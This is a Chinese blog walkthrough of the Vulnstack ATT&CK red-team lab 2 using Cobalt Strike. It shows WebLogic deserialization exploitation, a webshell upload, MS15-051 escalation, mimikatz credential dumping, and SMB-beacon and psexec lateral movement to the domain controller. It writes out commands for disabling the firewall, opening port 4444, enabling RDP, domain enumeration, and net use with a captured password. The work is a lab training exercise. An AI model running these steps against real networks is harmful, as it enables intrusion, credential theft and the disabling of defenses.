Windows系统——ATT&CK红队评估实战靶场(二)——CS方式


前言

      红日靶场(二),本文涉及知识点有:环境搭建,nmap使用,weblogic反序列化漏洞利用,内网信息收集,防火墙相关,MS15-051和MS14-058提权,mimikatz抓取密码和凭证,fscan使用,SMB beacon横向移动相关,psexec横向移动相关,cobaltstrike的使用等。说明:主要是巩固下内网和cs的使用,web部分不会很详细。ATT&CK靶场(二)下载地址为:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/


一、环境搭建

     1)文件下载下来解压后有三个文件夹,双击各个文件夹中的.vmx文件即可一键创建虚拟机,除了web靶机初始密码都为1qaz@WSX,WEB靶机需切换用户,用administrator管理员账号登录,没有密码,点击登录会提示更改密码,为了方便也设置成了1qaz@WSX,之后会重启然后用我们设置的密码登录即可,或者恢复成快照1.3直接使用密码也能登陆成功。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

     2)官方给的拓扑图和配置信息如下所示,靶机已经配置好网卡了,就不需要在添加网卡了。
在这里插入图片描述
在这里插入图片描述
     3)为了跟靶机ip对应我们先配置一下虚拟机的网卡ip,点击编辑打开虚拟网络编辑器,变更子网ip,在配置NAT和DHCP。
在这里插入图片描述
在这里插入图片描述
     4)然后我们登陆web的靶机,因为此环境的weblogic需要手动打开,win+e快捷键打开计算机进入:C:\Oracle\Middleware\user_projects\domains\base_domain\bin,找到startWeblogic,双击开启,然后就可以开始了。
在这里插入图片描述
     5)最终虚拟机配置和IP配置如下所示。

虚拟机名称ip
kali网卡1(NAT):192.168.111.10
WEB网卡1(NAT):192.168.111.80 / 网卡2(仅主机):10.10.10.80
PC网卡1(NAT):192.168.111.201 / 网卡2(仅主机):10.10.10.201
DC网卡1(仅主机):10.10.10.10

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、Web部分

     1)namp使用ICMP协议做C段主机存活探测,发现192.168.111.80和192.168.111.201的地址。
在这里插入图片描述
     2)分别对192.168.111.80和192.168.111.201主机扫描端口。

	nmap -T4 -p- 192.168.111.80
	nmap -T4 -p- 192.168.111.201

在这里插入图片描述
在这里插入图片描述
     3)发现192.168.111.80 存在7001端口,使用weblogic扫描工具检测下,看是否存在weblogic漏洞,可以看到存在非常多的历史漏洞。工具下载地址:https://github.com/0xn0ne/weblogicScanner。
在这里插入图片描述
     4)在物理机上利用Liqun工具,直接利用CVE-2019-2725反序列化漏洞,该漏洞由wls9-async组件造成的,该组件默认开启。直接使用漏洞利用工具,发现命令成功回显。
在这里插入图片描述
在这里插入图片描述
     5)直接利用文件上传功能,上传冰蝎的webshell,可以看到成功返回地址。
在这里插入图片描述
在这里插入图片描述
     6)使用冰蝎连接,成功执行命令。
在这里插入图片描述

三、内网部分(CS方式)

     1)简单判断下是否存在域。发现存在域,并且双网卡。

	ipconfig /all
	systeminfo

在这里插入图片描述
在这里插入图片描述
     2)使用kali本地开启cs服务,本地连接。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     3)使用cs生成木马,然后使用冰蝎上传至靶机上并执行命令。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     4)发现成功上线。
在这里插入图片描述
     5)查看防火墙状态,发现防火墙开启,我们要关闭防火墙,关闭防火墙需要管理员权限,所以需要提权。

# windows server 2003及以下版本:
netsh firewall show config
# window server 2003以上版本:
netsh advfirewall show allprofiles state

在这里插入图片描述
     6)使用cs中的梼杌插件提权模块中的MS15-051提权漏洞,成功变为system权限。MS14-058也可以。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     7)关闭防火墙,关闭和开启防火墙的命令如下所示。

Windows server 2003及之前版本:
netsh firewall set opmode disable    #关闭  
netsh firewall set opmode enable     #开启
Windows server 2003之后版本:
netsh advfirewall set allprofiles state off    #关闭    
netsh advfirewall set allprofiles state on     #开启

在这里插入图片描述
在这里插入图片描述
     8)然后在做详细的信息收集。查看下版本信息以及补丁信息,发现主机是2008R2的,双网卡只打了三个补丁。

	systeminfo

在这里插入图片描述
在这里插入图片描述
     9)查看当前登录域及登录用户信息,可以发现存在域,不存在域环境为 WORKGROUP。

	net config workstation

在这里插入图片描述
在这里插入图片描述
     10)使用梼杌插件的获取杀软功能,发现存在360卫士。
在这里插入图片描述
在这里插入图片描述
     11)查看当前域内机器和域控。发现当前域成员有两台机器PC和WEB,WEB为当前获取权限的机器,域控为DC。ping域控名DC可知当前域控ip为10.10.10.10,另一台域成员机的IP为10.10.10.201。

net group "domain computers" /domain    #查看当前域内机器
net group "domain controllers" /domain    #查看域控
net group "domain admins" /domain	  #查看域管理员用户

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     12)使用hashdump获取凭证信息之后可以PTH横向移动,在使用mimikatz抓一下密码,成功抓取到WEB机器的密码,可以尝试碰撞其他主机。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

     13)查询进程信息,可以了解是否存在杀毒软件、是否存在域管进程等信息。还可以查询启动程序信息,端口信息,计划任务,查询本机用户列表,本机用户组与管理员组成员列表,当前在线用户等等信息。

whoami /all   #获取域 SID
tasklist /svc  #查看进程列表
wmic process list brief   #查看进程列表
wmic startup get command,caption   #查询启动程序信息
schtasks /query /fo LIST /v   #查询计划任务
net user	#查询本机用户列表
net user /domain    #查询域内用户
net localgroup  #查询本机用户组成员列表
net localgruop administrators   #查询本机管理员组成员列表
query user || qwinsta   #查询当前在线用户
net share  #查询本机共享列表
route print   #查询路由信息
arp -a    #查询arp缓存表
# 查询 RDP 端口   0xd3d 即为 3389 端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

在这里插入图片描述
在这里插入图片描述

四、横向移动

     1)使用梼杌上传fscan。
在这里插入图片描述
在这里插入图片描述
     2)扫描域成员PC和域控DC的端口,域成员PC和域控DC都存在MS17-010漏洞。这里可以尝试利用MS17-010获取shell。还发现两个主机都开启了445端口,并且我们之前也抓取到了管理员的账号密码,这里可以尝试利用SMB beacon横向移动,因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。相当于在msf里面使用永恒之蓝获取shell。
在这里插入图片描述
在这里插入图片描述
     3)SMB beacon横向移动,先用spawn派生出来一个会话,在已有的 Beacon 上右键点击 Spawn(生成会话 / 派生),选择name为ceshi的payload,然后点击choose,会反弹一个子会话,在 external 的 ip 后面会有一个∞∞样式的小图标。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     4)在listeners创建一个payload为 Beacon SMB的监听,然后保存。
在这里插入图片描述
     5)然后我们回到这个新派生出来的会话上,右键点击interact,在beacon里输入以下命令,发现域控和域成员均利用失败。

# 创建连接,admin$可以理解为共享了主机的控制权,账号密码为我们之前抓取的。
shell net use \\10.10.10.10\admin$ /user:"administrator" "123456.com" 
ls \\10.10.10.10\c$   #查看连接是否建立成功
jump psexec64 10.10.10.10 smb  # 建立smb beacon连接,最后的smb是我的smb listener 的名字。
net use \\IP地址\admin$ /delete	 #删除链接

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     6)换个思路,利用psexec横向移动,现在我们拥有的凭证如下所示:
在这里插入图片描述
     7)使用make_token 模拟管理员用户。
在这里插入图片描述
在这里插入图片描述
     8)进行端口扫描,主要是想cs的Targets中记录一下存活主机,之前利用梼杌插件中的fscan扫描主机,cs的Targets中是没有记录的。在这里插入图片描述
在这里插入图片描述
     9)通过端口扫描在 View->Targets中可以看到存活的主机。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     10)在目标主机图表上右击,jump–>psexec64或者psexec,选择管理员账号,在填写上listener和session信息,直接选择launch发动,成功获取域控权限。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     11)同理也成功获取域成员PC的权限。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

五、总结

     1)修改防火墙规则

Windows server 2003及以下版本,允许指定端口、程序连接:
netsh firewall add portopening tcp 4444 test   #指定端口    
netsh firewall add allowedprogram c:\a.exe test enable   #指定程序

Windows server 2003之后版本,允许指定端口、程序进站、出站:
# 允许4444端口进站 
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=4444  
# 允许a.exe进站
netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\a.exe
# 允许4444端口出站 
netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=4444     
# 允许a.exe出站 
netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\a.exe   

     允许 4444 端口连接
在这里插入图片描述
     2)查询RDP是否开启和开启关闭 3389 端口的命令。

# 查询 RDP 端口   0xd3d 即为 3389 端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

开启关闭 3389 端口(注:需要管理员权限)
Windows server 2003:
# 开启
wmic path win32_terminalservicesetting where(__CLASS !="") call setallowtsconnections 1
# 关闭  
wmic path win32_terminalservicesetting where(__CLASS !="") call setallowtsconnections 0  
# 通用开启
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f   
# 通用关闭
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f  

     3)CS 中的几种提权操作:

  • bypassuac:将本地中级管理员权限提升至本地高级管理员权限,适用于Win 7 及以上的系统。
  • elevate:将任意用户的权限提升至系统权限,适用于2018年11月更新之前的 Win 7 和 Win 10 系统。
  • getsystem:将本地高级管理员权限提升至系统权限。
  • runas:使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出。
  • spawnas:使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程。
  • 各种CVE提权。

     4)cobaltstrike中的 spawn 功能,中文意思是“产卵”,它的功能就是可以派生出更多的Beacon 让一个团队分布式渗入。通常我们在团队主服务器上给队友来派生Beacon 这样只要主服务器权限不掉,还能继续操作。尽量派生出多个Beacon,让我们的操作都在子Beacon。
     5)SMB Beacon 使用场景总结。
     当前已拿到了目标内网中的一台机器的 beacon shell,然后又通过其它方式搞到了同内网下的另一台 windows 机器的本地 administrator 密码且这台机器的 SMB[445 端口]能正常通。不幸的是、由于各种各样的原因限制,那台 windows 机器并不能正常访问外网,也就是说没法再正常的反弹 beacon shell 了,那么其他那些反向监听器也就全都用不上了,而我现在就想通过当前仅有的这个 beacon shell 把内网那台不能正常访问外网的机器也一块给带出来,就可以用到SMB Beacon。
     6)smb beacon横向移动的使用条件:

  • 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
  • 只能链接由同一个 Cobalt Strike 实例管理的Beacon。
  • 利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

     7)psexec横向移动的条件

  • 对方主机开启了 admin$ 共享和445端口,如果关闭了admin$共享,会提示:找不到网络名
  • 对方未开启防火墙
  • 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
  • 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

     8)psexec相关知识

  • 在使用PsExec执行远程命令时,会在目标系统中创建一个psexec的服务。命令执行完后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在攻击溯源时通过日志反推攻击流程。
  • 使用PsExec可以直接获得System权限的交互式Shell(前提目标是administrator权限的shell)
  • IPC$ (空会话连接)是windows系统内置的一个功能模块,它的作用有很多(包括域帐号枚举),但是其中对于攻击者最关心地还是它的网络文件共享能力,它允许本机的进程/服务以命名管道(named pipe)的形式连接连接上来以实现文件的共享传输,根据对应IPC$共享目录的ACL权限来决定是否可写/可遍历等权限。
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值